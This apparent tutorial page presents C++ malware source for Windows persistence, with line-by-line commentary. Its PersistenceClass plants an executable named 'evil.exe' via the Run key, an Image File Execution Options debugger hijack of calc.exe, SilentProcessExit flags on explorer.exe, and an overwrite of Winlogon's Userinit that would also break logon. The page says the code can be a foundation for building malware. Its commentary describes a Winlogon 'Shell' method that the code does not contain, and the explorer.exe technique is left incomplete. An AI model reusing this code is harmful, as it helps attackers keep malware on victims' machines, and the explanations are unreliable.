Perisistence via Run Registry Key

Persistence Creator

```
C++ Code
#include <windows.h>
#include <string.h>
#include <iostream>
#include "PersistenceClass.h"

using namespace std;

int main(){
    bool result;
    string exePath = "C:\\Users\\Public\\Music\\evil.exe";

    PersistenceClass persistenceObj(exePath);
    result = persistenceObj.persistenceByRunReg();
    if (result) {
        cout << "Persistence by Run Reg OK" << endl;
    } else {
        cout << "Persistence by Run Reg FAIL" << endl;
    }
    return 0;
}
```

This code appears to be a part of a larger project or module related to achieving persistence on a Windows system using the "Run" Registry key. Let's break down the code and its functionality:

1. **Header Inclusions**:
   - The code includes several header files, such as `windows.h`, which provides access to Windows API functions, and `"PersistenceClass.h"`, presumably a custom header file that contains the `PersistenceClass` definition.
2. **Namespace**:
   - The code uses the `std` namespace for standard C++ functionality, simplifying the usage of standard library features like input and output.
3. **Main Function**:
   - The `main` function is the entry point of the program.
4. **Variables**:
   - There's a boolean variable named `result` used to store the result of the persistence operation.
   - A string variable named `exePath` is defined and initialized with the path to an executable file, presumably the malicious executable that needs to be persistently executed.
5. **PersistenceClass**:
   - The code creates an instance of the `PersistenceClass` class, named `persistenceObj`, passing `exePath` as a parameter to its constructor. It appears that this class is responsible for implementing persistence techniques.
6. **Persistence by "Run" Registry Key**:
   - The code calls a method named persistenceByRunReg on the persistenceObj object. This method likely attempts to achieve persistence by adding an entry to the Windows Registry's "Run" key, which causes the specified executable (exePath) to run automatically when the system starts or a user logs in.
7. **Result Output**:
   - Depending on the result of the persistence operation, the code outputs either "Persistence by Run Reg OK" or "Persistence by Run Reg FAIL" to the console using `cout`.

Overall, this code seems to be a simplified representation of a larger project focused on achieving persistence on a Windows system. The PersistenceClass likely contains the implementation details of the persistence technique, and this code serves as a test or demonstration of the "Run" Registry key-based persistence method.

Persistence Class

```
C++ Code
#include <windows.h>
#include <string.h>
#include <iostream>

using namespace std;

class PersistenceClass {
    private:
        string exePath;
    public:
        // Constructor
        PersistenceClass(string exePath) {
            this->exePath = exePath;
        }

        // Getters
        string getExePath() {
            return this->exePath;
        }

        // Setters
        void setExePath(string exePath) {
            this->exePath = exePath;
        }

        // Persistence Methods

        // Register Run
        bool persistenceByRunReg(){
            HKEY hkey = NULL;
            LONG res = RegOpenKeyEx(HKEY_CURRENT_USER,(LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hkey);
            if (res == ERROR_SUCCESS) {
                RegSetValueEx(hkey,(LPCSTR)"salsa", 0, REG_SZ, (unsigned char*)this->exePath.c_str(), strlen(this->exePath.c_str()));
                if (RegCloseKey(hkey) == ERROR_SUCCESS) {
                    return true;
                }
                RegCloseKey(hkey);
            }
            return false;
        }

        // Execute exe when calc app is open
        bool persistenceByOpenApp(){
            string commandRegAdd = "reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\calc.exe\" /v Debugger /t reg_sz /d \"cmd /C _calc.exe & " + this->exePath + " /f";
            system("copy C:\\Windows\\system32\\calc.exe C:\\Windows\\system32\\_calc.exe");
            system(commandRegAdd.c_str());
            return true;
        }

        // Execute exe when close explorer app
        bool persistenceByCloseApp(){
            HKEY hkey = NULL;
            DWORD gF = 512;
            DWORD rM = 1;
            const char* img = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\explorer.exe";
            const char* silent = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\explorer.exe";
            LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)img, 0, KEY_WRITE, &hkey);
            if (res == ERROR_SUCCESS) {
                RegSetValueEx(hkey,(LPCSTR)"GlobalFlag", 0, REG_DWORD, (unsigned char*)&gF, sizeof(gF));
                RegSetValueEx(hkey,(LPCSTR)"ReportMonitorProcess", 0, REG_DWORD, (unsigned char*)&rM, sizeof(rM));
                if (RegCloseKey(hkey) == ERROR_SUCCESS) {
                    return true;
                }
                RegCloseKey(hkey);
            }
            return false;
        }

        // Persistence by Winlogon
        bool persistenceByWinlogonReg(){
            HKEY hkey = NULL;
            LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", 0, KEY_WRITE, &hkey);
            if (res == ERROR_SUCCESS) {
                RegSetValueEx(hkey,(LPCSTR)"Userinit", 0, REG_SZ, (unsigned char*)this->exePath.c_str(), strlen(this->exePath.c_str()));
                if (RegCloseKey(hkey) == ERROR_SUCCESS) {
                    return true;
                }
                RegCloseKey(hkey);
            }
            return false;
        }

};
```

This C++ code defines a PersistenceClass class, which encapsulates various methods for achieving persistence on a Windows system. Persistence in this context refers to techniques used by malware to ensure that it remains on a compromised system even after reboots or system events. Let's break down the key parts of this code:

1. **Header Inclusions**:
   - The code includes necessary header files like `<windows.h>`, `<string.h>`, and `<iostream>` for Windows API functions, string manipulation, and standard input/output.
2. **Namespace**:
   - The code uses the `std` namespace for standard C++ functionality.
3. **Class Definition**:
   - The `PersistenceClass` class is defined to encapsulate persistence methods.
4. **Private Member Variable**:
   - It has a private member variable `exePath` of type `string`, which is used to store the path to the executable that needs to be executed persistently.
5. **Constructor**:
   - The class has a constructor that takes an `exePath` parameter to initialize the `exePath` member variable.
6. **Getter and Setter Methods**:
   - Getter and setter methods are provided to access and modify the `exePath` member variable.
7. **Persistence Methods**:
   - The class defines several persistence methods, each targeting different Windows Registry keys or mechanisms for achieving persistence:
     - `persistenceByRunReg()`: Attempts to add an entry to the "Run" Registry key under `HKEY_CURRENT_USER` to execute the specified executable when the user logs in.
     - `persistenceByWinlogon()`: Tries to modify the "Shell" value under `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon` to execute the specified executable.
     - `persistenceByOpenApp()`: Copies the `calc.exe` executable to `_calc.exe` and sets a Debugger value in the Registry under `Image File Execution Options` for `calc.exe`. This approach runs the malicious executable when the Calculator (`calc.exe`) is opened.
     - `persistenceByCloseApp()`: Modifies Registry settings related to the "explorer.exe" process to execute the specified executable when Explorer is closed.
     - `persistenceByWinlogonReg()`: Modifies the "Userinit" value under `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon` to execute the specified executable.

Each method returns `true` if the persistence operation succeeds, otherwise, it returns `false`. Error checking for Registry operations is included to handle possible failures.

Overall, this class provides a framework for implementing various persistence techniques on a Windows system, and it can be used as a foundation for building malicious code that ensures the malware remains active on the system.